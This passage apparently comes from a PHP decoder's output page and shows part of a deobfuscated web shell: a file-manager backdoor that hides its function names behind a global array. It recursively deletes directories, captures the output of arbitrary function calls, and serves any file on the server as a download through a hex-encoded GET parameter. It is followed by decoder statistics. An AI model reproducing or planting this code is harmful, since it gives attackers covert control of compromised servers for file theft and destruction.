				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
	function rec($j) {
		global $GNJ;
		if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
			return;
		}
		if($GNJ[8]($j)) {
			array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
			$GNJ[35]($j);
		}
		else {
			$GNJ[10]($j);
		}
	}
	function dre($y1, $y2) {
		global $GNJ;
		ob_start();
		$GNJ[16]($y1($y2));
		return $GNJ[36]();
	}
	function hex($n) {
		$y='';
		for ($i=0; $i < strlen($n); $i++){
			$y .= dechex(ord($n[$i]));
		}
		return $y;
	}
	function uhex($y) {
		$n='';
		for ($i=0; $i < strlen($y)-1; $i+=2){
			$n .= chr(hexdec($y[$i].$y[$i+1]));
		}
		return $n;
	}
	function OK() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&1");
		exit();
	}
	function ER() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&0");
		exit();
	}
	function x($c) {
		global $GNJ;
		$x = $GNJ[24]($c);
		if(($x & 0xC000) == 0xC000) {
			$u = "s";
		}
		elseif(($x & 0xA000) == 0xA000) {
			$u = "l";
		}
		elseif(($x & 0x8000) == 0x8000) {
			$u = "-";
		}
		elseif(($x & 0x6000) == 0x6000) {
			$u = "b";
		}
		elseif(($x & 0x4000) == 0x4000) {
			$u = "d";
		}
		elseif(($x & 0x2000) == 0x2000) {
			$u = "c";
		}
		elseif(($x & 0x1000) == 0x1000) {
			$u = "p";
		}
		else {
			$u = "u";
		}
		$u .= (($x & 0x0100) ? "r" : "-");
		$u .= (($x & 0x0080) ? "w" : "-");
		$u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
		$u .= (($x & 0x0020) ? "r" : "-");
		$u .= (($x & 0x0010) ? "w" : "-");
		$u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
		$u .= (($x & 0x0004) ? "r" : "-");
		$u .= (($x & 0x0002) ? "w" : "-");
		$u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
		return $u;
	}
	if(isset($_GET["g"])) {
		$GNJ[38]($GNJ[9]);
		header("Content-Type: application/octet-stream");
		header("Content-Transfer-Encoding: Binary");
		header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
		header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
		$GNJ[37](uhex($_GET["g"]));
	}
?>

Function Calls

None

Variables

None

Stats

MD5 e36d54e147ee4a48e7c0d66326e73e2b
Eval Count 0
Decode Time 41 ms